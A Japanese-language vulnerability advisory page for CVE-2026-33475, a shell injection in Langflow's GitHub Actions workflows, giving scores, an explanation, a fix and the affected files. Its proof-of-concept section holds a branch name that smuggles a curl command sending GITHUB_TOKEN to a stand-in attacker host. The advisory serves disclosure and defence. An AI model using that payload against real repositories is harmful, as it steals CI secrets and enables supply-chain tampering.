CVE-2026-33475
Langflow GitHub Actions シェルインジェクション
- 公開済み
- 2026/03/24
- 更新済み
- 2026/03/25
- CNA の割り当て
- GitHub_M
- 観察された証拠
- 2026/09/05
プライマリ CVSS
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N低 · 今後 30 日間
- パーセンタイル
- 86.5%
- モデルの日付
- 2026/09/21
EPSS は統計的な推定値であり、確実性や影響の尺度ではありません。 CVSS、KEV ステータス、暴露、環境と組み合わせます。
概要
Langflowは、AIを活用したエージェントやワークフローを構築・デプロイするためのツールです。バージョン1.9.0より前のLangflowリポジトリ内の複数のGitHub Actionsワークフローに、認証なしのリモートシェルインジェクションの脆弱性が存在します。`run:` ステップ内でのGitHubコンテキスト変数(例: `${{ github.head_ref }}`)のサニタイズされていない補間により、攻撃者は悪意のあるブランチ名やプルリクエストのタイトルを介して任意のシェルコマンドを注入・実行できます。これにより、CI/CD実行中にシークレットの窃取(例: `GITHUB_TOKEN`)、インフラストラクチャの操作、またはサプライチェーン侵害につながる可能性があります。バージョン1.9.0でこの脆弱性は修正されています。 --- ### 詳細 `.github/workflows/` および `.github/actions/` 内の複数のワークフローが、`run:` シェルコマンド内でGitHubコンテキスト変数を直接参照しています。例: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` または: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` `github.head_ref`、`github.event.pull_request.title`、およびカスタムの `inputs.*` には**ユーザー制御の値**が含まれる可能性があるため、これらは**信頼できない入力**として扱う必要があります。適切な引用符やサニタイズなしでの直接補間は、シェルコマンドインジェクションにつながります。 --- ### PoC 1. Langflowリポジトリを**フォーク**します 2. 以下の名前で**新しいブランチを作成**します: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. 新しいブランチからメインブランチへの**プルリクエストを開きます** 4. GitHub Actionsが影響を受けるワークフロー(例: `deploy-docs-draft.yml`)を実行します 5. 以下を含む `run:` ステップ: ```yaml echo "Branch: ${{ github.head_ref }}" ``` が以下を実行します: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. 攻撃者はexfil URLを介してCIシークレットを受け取ります。 --- ### 影響 - **タイプ:** CIにおけるシェルインジェクション / リモートコード実行 - **範囲:** GitHub Actionsが有効な公開Langflowフォークすべて - **影響:** CIシークレット(例: `GITHUB_TOKEN`)への完全なアクセス、悪意のあるタグやイメージのプッシュの可能性、リリースの改ざん、機密インフラデータの漏洩 --- ### 推奨される修正 影響を受けるワークフローを**環境変数を使用**し、**二重引用符**で囲むようにリファクタリングします: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` ユーザー制御の値については、`run:` 内での直接の `${{ ... }}` 補間を避けてください。 --- ### 影響を受けるファイル(Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
ソース
1責任ある使用
脆弱性情報は、自分が所有しているシステム、またはテストを許可されているシステムでのみ使用してください。 Kitploit は公開研究メタデータにリンクしており、エクスプロイト コードや悪意のあるペイロードは保存しません。